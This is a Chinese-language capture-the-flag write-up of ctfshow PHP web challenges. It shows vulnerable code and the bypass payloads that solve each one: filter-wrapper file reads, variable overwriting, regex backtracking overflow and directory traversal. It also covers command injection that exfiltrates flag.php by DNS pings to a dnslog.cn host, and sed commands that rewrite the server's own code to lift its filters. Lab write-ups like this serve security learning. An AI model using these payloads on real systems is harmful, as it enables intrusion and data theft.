多次重复后绕过is_file的具体原理尚不清楚,希望有师傅解答下。
WEB114(filter协议利用)
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));//highlight_file不能高亮数组
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!
本题用上面的两种方法都不能解出来,因为zip和root都ban了!
居然没过滤filter:
php://filter/resource=flag.php
得到flag啦!我想出来的是预期解,我是小菜鸡
还可以使用目录溢出(x)root被ban
WEB115( ★trim函数+is_numeric利用%0c绕过)
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);//把$num中的"0x"替换成"1"
$num=str_replace("0","1",$num);//把$num中的"0"替换成"1"
$num=str_replace(".","1",$num);//把$num中的"."替换成"1"
$num=str_replace("e","1",$num);//把$num中的"e"替换成"1"
$num=str_replace("+","1",$num);//把$num中的"+"替换成"1"
return $num;
}
$num=$_GET['num'];
//trim移除字符串两侧字符
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
由上面一张图可以看到%0c没有过滤
trim+is_numeric过滤之后只会留下 换页符(%0c) 和 + - 两个符号 payload:num=%0c36
is_numeric要绕过的话前面加空格是可以绕过的:%0936或者%2036,因为空格是不可见字符
要学会自己本地测试!小老弟!加油,很难,但是还是要坚持刷下去!
Q:为什么这里var_dump($num!==’36’ and $num==’36’);,get传递%0c36返回结果是true?
A:遇到这种问题最好的方法就是看文档
!==就是相当于===被一个!替换了
$num!==’36’(!==进行比较时不进行类型转换,就是36不转化为数字36,而是作为一个字符串36来比较),咱们提交的是%0c36,肯定和字符串的36不一样
$num==’36’(等于)类型转换 %0c36转化为int是36
WEB123(echo没禁用)
突破函数禁用
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];//$_SERVER包含了像标头、文件路径和脚本位置等信息//argv:传递给该脚本的参数的数组。
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
CTFSHOW.COM这里默认会将点转化为下划线,但是它有个转化规则,就是对不符合规则的变量名里面只转换一次,类似于我们的双写的绕过,PHP转化为空我们就可以提交PPHPHP。
如果CTF_SHOW.COM中和点都不合法的话,它只转化第一个,后面的就保留,所以转化的话下划线肯定就是方括号[了(参考https://www.freebuf.com/articles/web/261802.html)
这道题禁用的函数挺多的(多翻一翻PHP手册,不断测试)
函数执行没有回显就说明函数被ban了
PHP变量名不能带点和空格,会被转化为下划线
payload:
POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())
这个和hint不一样
hint:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
WEB125(var_export代替echo或者extract变量覆盖)
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
这道题把echo过滤了,去PHP手册里面找能打印的函数,看到var_export
payload:var_export(implode(get_defined_vars())) 【小知识:var_export可以代替echo和var_dump】
方法2、extract变量覆盖
我们看代码,只要$fl0g===”flag_give_me”即可,但是不能存在get值为f10g,那么我们直接覆盖,把post值覆盖为它就行:
CTF[SHOW.COM=2&CTF_SHOW=1&fun=extract($_POST)&fl0g=flag_give_me
Hint:
GET: ?1=flag.php
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
WEB126(?★)
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
参考:https://www.cxyzjd.com/article/rfrder/112882464
本题要注意:$a=$_SERVER[‘argv’]; 这行代码
参考羽师傅博客:
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
本地测试:
<?php
var_dump($_SERVER['argv']);
?>
因此可以把代码写到get的查询语句中,然后eval($a[0])执行即可
可以用加号+进行分隔,从而使得$_SERVER[‘argv’]这个array不仅仅只有[0]。
$a=$_SERVER['argv'];
var_dump($a[1]);
页面回显是:string(17) "fl0g=flag_give_me"
我们只要用parse_str($a[1])覆盖掉c即可
GET:?a=1+fl0g=flag_give_me (+表示空格)
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
a作为它脚本的一个参数,argv是一个脚本执行参数,可以在PHP里面的话作为index.php的执行参数
来调入,调入进去它是一个数组,数组的话是以空格来进行分割的
在本地多测试!
or GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
WEB127(PHP变量名带[点]和[空格]会被转化为下划线)
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//'QUERY_STRING'
//query string(查询字符串),如果有的话,通过它进行页面访问。
//获取的查询语句是服务端还没url解码的,所以url编码绕过即可(Full url encode)
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);//extract从数组中将变量导入到当前的符号表
}
if($ctf_show==='ilove36d'){
echo $flag;
}
发现下划线被过滤掉了,要构造下划线:
我们又知道PHP变量名不能带[点]和[空格],他们会被转化为下划线(这道题点被过滤)
下划线经过完全url编码为%5f
对_url编码一次即可,$_SERVER[‘QUERY_STRING’];获取的查询语句是服务端还没url解码的,所以url编码绕过即可:
?ctf%5fshow=ilove36d
Hint:
GET: ?ctf show=ilove36d
为啥空格也行?因为道PHP变量名不能带[点]和[空格],他们会被转化为下划线
WEB128(骚姿势:gettext)
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));//把第一个参数作为回调函数使用//连续两次调用
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);//check不能有字母和数字
} NULL
我们没办法控制的是f1,只能控制特殊字符;f2是参数,是可控的
而特殊字符作为函数的话只有一个,它的别名叫下划线(这是唯一一个有别名的)
<?php
echo gettext("phpinfo");
//结果 phpinfo
echo _("phpinfo");
//结果 phpinfo
?>
f1和f2经过我们的构造能返回一个字符串,这个字符串的值我们是可以控制的
我们如何拿到flag值呢?因为包含了flag.php, 包含了肯定把变量注册了,我们只需要打印所有的变量即可
直接get_defined_vars
Hint:
https://www.cnblogs.com/lost-1987/articles/3309693.html https://www.php.net/manual/zh/book.gettext.php 小知识点: ()是一个函数 ()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有phpgettext.dll get_defined_vars()函数 get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag payload: ?f1=&f2=get_defined_vars
WEB129(目录穿越)
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
构造一个多重目录看看
?f=../ctfshow/../../www/html/index.php(显示320,读取文件成功)
../就到/var/www,/ctfshow没有,从它进去,上一级目录还是/var/www,再上一级目录/var,然后再/www/html/index.php
那么我们看一下flag.php:
?f=../ctfshow/../../www/html/flag.php,查看网页源代码:
这就是一个目录穿越,它中间是可以进行自定义的,例如上面的ctfshow,虽然不存在,但是通过它的上下切换
WEB130(正则/回溯)
very very very(省略25万个very)ctfshow
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ //i表示匹配大小写,s是匹配换行
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
payload:
POST : f=ctfshow
Q: 为什么“preg_match(‘/.+?ctfshow/is’, $f”和“stripos($f, ‘ctfshow’) === FALSE”这两个正则都能过呢?
A: .+?ctfshow,表示第一个只要是任意字符就能匹配到,我们提交的ctfshow前没有任意字符,当然匹配不到;
stripos($f, ‘ctfshow’)是返回ctfshow在$f中第一次出现的位置,返回的是int型,因为是===,肯定要比对类型,数字和布尔值肯定是不相等的,这个if就过了!
学习一下P神的博客:PHP利用PCRE回溯次数限制绕过某些安全限制
WEB131(正则溢出)
very very very(省略25万个very)ctfshow
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f']; //多了一个字符型转换
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
我们要想办法突破匹配的长度,匹配是有长度的,超过这个长度是不再进行匹配,也就是正则溢出
$a=str_repeat('show',250000);
$b=$a.'36Dctfshow';
echo $b;
不知道为啥
Hint:
考察: 正则表达式是溢出 https://www.laruence.com/2010/06/08/1579.html 大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
#payload: <?php echo strrepeat(‘very’, ‘250000’).’36Dctfshow’; #post发送过去就OK_
WEB132(考察优先级)
打开界面发现是一个网页:
我们访问robots.txt,发现Disallow: /admin
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
主要是过三个if才能拿到flag
if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”)
$code === mt_rand(1,0x36D) && $password === $flag 为真,$username ==="admin"就不看
$username ==="admin"为真,$code === mt_rand(1,0x36D) && $password === $flag 就不看
Hint:
考察: php中&&和||运算符应用 访问/robots.txt,之后访问/admin,获得源代码 https://www.cnblogs.com/hurry-up/p/10220082.html 对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。 payload: ?a=admin&b=admin&c=admin
#在判断这个的时候 if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”) 第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ===”admin”#成功绕 过
WEB133(dns带外)
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
?F=$F
;
$F就是$GET的值,引入shell进行执行,因为它在反引号里面
因为$F
; 是一个无效命令就绕过,会把后面的值继续执行
虽然她这里截取了前面6个,前六个是$F
; 的值,是要把这个值带进去,它没有把$_GET的值进行截取,而是把
它变量的值截取,那么我们继续用$_GET[‘F’]的值是可以的
我们要想把数据带回来,了解一个比较骚的姿势,可以用dns带外:
http://dnslog.cn/
m9hfm5.dnslog.cn
尝试:?F=$F
; ping cat flag.php
.m9hfm5.dnslog.cn -c 1(没有值,因为内容比较多,二级域名是有限制的,cat flag.php
作为四级域名xxx.m9hfm5.dnslog.cn)
我们可不可以用一些比较骚的操作来进行格式化?
?F=$F
; ping cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"
.m9hfm5.dnslog.cn -c 1
执行后刷新:refresh record
flagctfshow45089dcd07b647b581eddb95f5becde9.m9hfm5.dnslog.cn
ctfshow{45089dcd07b647b581eddb95f5becde9}
我们整理一下,加-,uid的格式是8 4 4 4 12
ctfshow{45089dcd-07b6-47b5-81ed-db95f5becde9}
Hint:
https://blog.csdn.net/qq_46091464/article/details/109095382
WEB134(?变量覆盖问题)
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");//post里面的值不能有key1和key2,查询字符串里面的值也不能有key1和key2
}
@parse_str($_SERVER['QUERY_STRING']); //查询字符串
extract($_POST); //对POST释放
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
我们可以用get的值来读取,进行一个导入当前符号表,导入到当前符号表,把post值填充进去,然后再用POST值进行释放,思路就这样
?_POST[key1]=36d&_POST[key2]=36d
它是个PHP文件,读取出来不能直接看见,查看源代码:
WEB135/web133plus(考察写文件:cp/nl 或者dns外带)
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
这道题可以采用和web133一样的方法把数据外带出来:http://dnslog.cn/(DNS带外)
?F=$F
; pingnl flag.php
. 981gnr.dnslog.cn -c 1 (cat换nl,因为被过滤了)
发现刷新记录(refresh record)没有出现flag,这是因为内容比较多,而二级域名是有限制的,我们可以进行格式化:nl flag.php | grep ctfshow | tr -cd “[a-z]”/“[0-9] (grep被过滤)
?F=$F
; pingnl flag.php | tr -cd "[a-z]"/"[0-9]"
. 981gnr.dnslog.cn -c 1 还是不行
/?F=$F
; touch 1,再访问1,发现具有可写权限!!
还想用133的方法但是发现函数都给禁用了,发现没有限制写文件
payload:F=`$F `; nl f*>1.txt
payload:F=`$F `; cp f* 2.txt
然后访问txt文件即可!
ctfshow{476802a8-14bb-474e-ac7e-197a74cc3a26}
出题人解法:
因为有特殊符号,在二级域名里面是不解析的
?F=`$F`;nl flag.php>/tmp/1 我们用nl读取文件,再写入临时文件1
然后我们从1中读取:
?F=`$F`;ping `nl flag.php | awk 'NR==15'`.981gnr.dnslog.cn -c 1 (发现没出来flag)
#因为flag大概是flag.php第十五行开始,NR就是number缩写
我们尝试编码:
?F=`$F`;ping `nl flag.php | awk 'NR==15'| tr -cd "[a-z]"/"[0-9]"`.981gnr.dnslog.cn -c 1
可以拿到前半部分flag,再读16行:
?F=`$F`;ping `nl flag.php | awk 'NR==16'| tr -cd "[a-z]"/"[0-9]"`.981gnr.dnslog.cn -c 1
我们知道ctfshow的flag的uid是8,4,4,4,12
查看Hint后发现还有另外一种写法(?发现是不行的呀,怎么回事):
`$F`;+ping `cat flag.php|awk 'NR==2'`.981gnr.dnslog.cn (cat被过滤)
#通过ping命令去带出数据,然后awk NR一排一排的获得数据
WEB136(★linux的tee命令使用+直接修改代码的骚操作)
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
这道题考察的又是一个我不会的知识点,哎
tee(linux命令)
许多符号和常用函数都被禁用,这里用到linux一个tee:用来读取标准输入的数据,并将其内容输出成文件
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出 | 为管道符
我们先查看当前目录
?c=ls /|tee 1 (将根目录下所有文件名保存到1这个文件中)
发现f149_15_h3r3目录
直接查看:?c=nl /f149_15_h3r3|tee 1
其他骚方法,太骚了(群主大菜鸡的方法):
我们直接改源码(太骚了):
①?c=ls|xargs sed -i ‘s/die/echo/‘(先执行)
②?c=ls|xargs sed -i ‘s/exec/system/‘(再执行)
③然后不提交c,直接访问:
这时候我们可以尽情的随便玩:没有任何限制的命令执行
这个方法是通过PHP自身来修改它PHP脚本的代码,来实现绕过,直接ban到它的WAF,也就是ban掉它的baned
sed和xargs相关使用:https://blog.csdn.net/weixin_39731083/article/details/82495950
用sed 命令把本目录下的所有sh文件中的"letv3"替换成"letv4"
sed -i 's/letv3/letv4/g' ./*.sh
grep -rl 'letv3' . | xargs sed -i 's/letv3/letv4/g'
WEB137(静态方法调用之双冒号)
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
从这道题开始我们就开始接触类了,类就是方法和变量的组合!
群主思路:
这道题有一个类,叫ctfshow,有两个方法(一个是魔术方法:__wakeup,一个是静态方法:getFlag)
静态方法就是说不用实例化,可以直接调用的(什么叫实例化?就是我设计了一个产品的规格,那么照着这个规格造出来一个产品,这个产品和这个规格的关系就是类实例和类的关系。类的定义就是这个产品的规格定义好了,那么照着这个规格把产品生产出来。为了区分产品和产品,毕竟还是两个产品,产品A和产品B就是这个类的实例)
静态方法就是说,不需要把这个产品生产出来,直接在设计里面可以用的东西(直接用ctfshow这个类就可以调用这个方法)
call_user_func($_POST['ctfshow']); 这个函数是可以支持调用类的,有两种写法
1、POST: ctfshow=phpinfo【这里直接是函数名,没有括号】,可以调用
2、还可以调用类,如果是无参的,也就是说没有第二参数的,还有它这个方法是call_user_func,我们可以使用ctfshow::getFlag
如果调用非静态方法是怎么处理?
ctfshow=call_user_func_array(array(new ctfshow(),'getFlag'),args)
这道题我们知道有一个调用类的静态方法,就是用两个冒号调用就行了
要知道这些东西,否则有些代码看不懂
PHP没有学好,该补的知识一定补,该跪的搓衣板一定跪(orz)
只好看大佬博客了:https://blog.csdn.net/weixin_54648419/article/details/119819995
直接调用类中的函数
POST:ctfshow=ctfshow::getflag
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
也就是说双冒号可以不用实例化类就可以直接调用类中的方法
查看页面源代码:
Hint:
考察: call_user_func()函数的使用 https://www.php.net/manual/zh/function.call-user-func.php
WEB138(静态方法调用之利用数组)
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
在上一题的基础上过滤了冒号
群主大菜鸡的思路:
由于过滤冒号,我们就不能利用上一题的双冒号的静态方法调用,我们可以用数组
查看PHP手册:
call_user_func(__NAMESPACE__ .'\Foo::test'); // As of PHP 5.3.0
call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); // As of PHP 5.3.0
上面两行代码效果是一样的,只是一个用了双冒号,一个没有
payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
就相当于双冒号写法的:ctfshow::getFlag
这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。
具体使用方法如下
call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
payload: ctfshow[0]=ctfshow&ctfshow[1]=getFlag
ctfshow{c54119ca-a64a-4124-97ab-ddb61d92b4ea}
WEB139(未解)
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
这道题我们还是可以尝试web136中群主大菜鸡提供的骚方法,我们先试一下:
①?c=ls|xargs sed -i ‘s/die/echo/‘(先执行)
②?c=ls|xargs sed -i ‘s/exec/system/‘(再执行)[exec和system被过滤了,没关系,只是替换]
③然后不提交c,直接访问:
诶,这道题不行诶,怎么回事???
问了一下群主大菜鸡哥哥,他是这么解答的:
index.php没有写权限,不让改,我们就不能使用sed改文件
那怎么确认它没有写权限呢?
touch a后访问a,啥都没有,说明没有写权限,所以这道题只能乖乖使用脚本盲注文件内容了
我们看看web136,touch a,说明具有写权限,所以我们才可以根据上面的骚操作该文件
所以如果我们要使用上面的骚操作,文件必须要有可写权限!!!
好了,下面是解题过程:
WEB140(拼凑函数/函数嵌套)
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){ //f1要是数字字母
if(preg_match('/^[a-z0-9]+$/', $f2)){ //f2要是数字字母
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
本地测试:
<?php
$a=current(localeconv());
echo $a.'<br />'; //返回'.'
echo intval('.').'<br />'; //0
echo intval('ctfshow');//0
var_dump(intval($a)==ctfshow); //bool(true) 先转化为同一类型再比较,intval('.'')是0 0==0 (ctfshow转化为数字是0)
?>
说明我们只需要$code = eval(“return $f1($f2());”);中$f1($f2())返回值为0即可
拼凑函数,凑出intval($code)为0或false或NULL的,而intval会将非数字字符转换为0,所以只要拼凑的函数不是数字字符就是了
payload1:
POST: $f1=current&$f2=localeconv, 查看源代码既可以获得flag
看其他大佬payload:
f1=usleep&f2=usleep
f1=md5&f2=md5
f1=system&f2=system
f1=getdate&f2=getdate
本地测试:
$a=md5(md5());
echo $a.'<br />'; //d41d8cd98f00b204e9800998ecf8427e
$code=intval('d41d8cd98f00b204e9800998ecf8427e');
var_dump(intval($code) == 'ctfshow');//bool(true)
Hint:
考察: 函数的利用 payload: f1=usleep&f2=usleep
$a=usleep(usleep());
echo $a.'<br />';
$code=intval($a);
echo $code;//0
var_dump(intval($code) == 'ctfshow');//bool(true)
WEB141(无字母数字绕过正则,未做)
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
参考:无字母数字绕过正则表达式
WEB142(进制绕过is_numeric)
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
0和任意数相乘为0,只要保证v1为0即可
提交v1=0
Hint:
0和0x0绕过 这里绕过因为是因为当成了8进制和16进制
WEB143(未做)
141的plus版本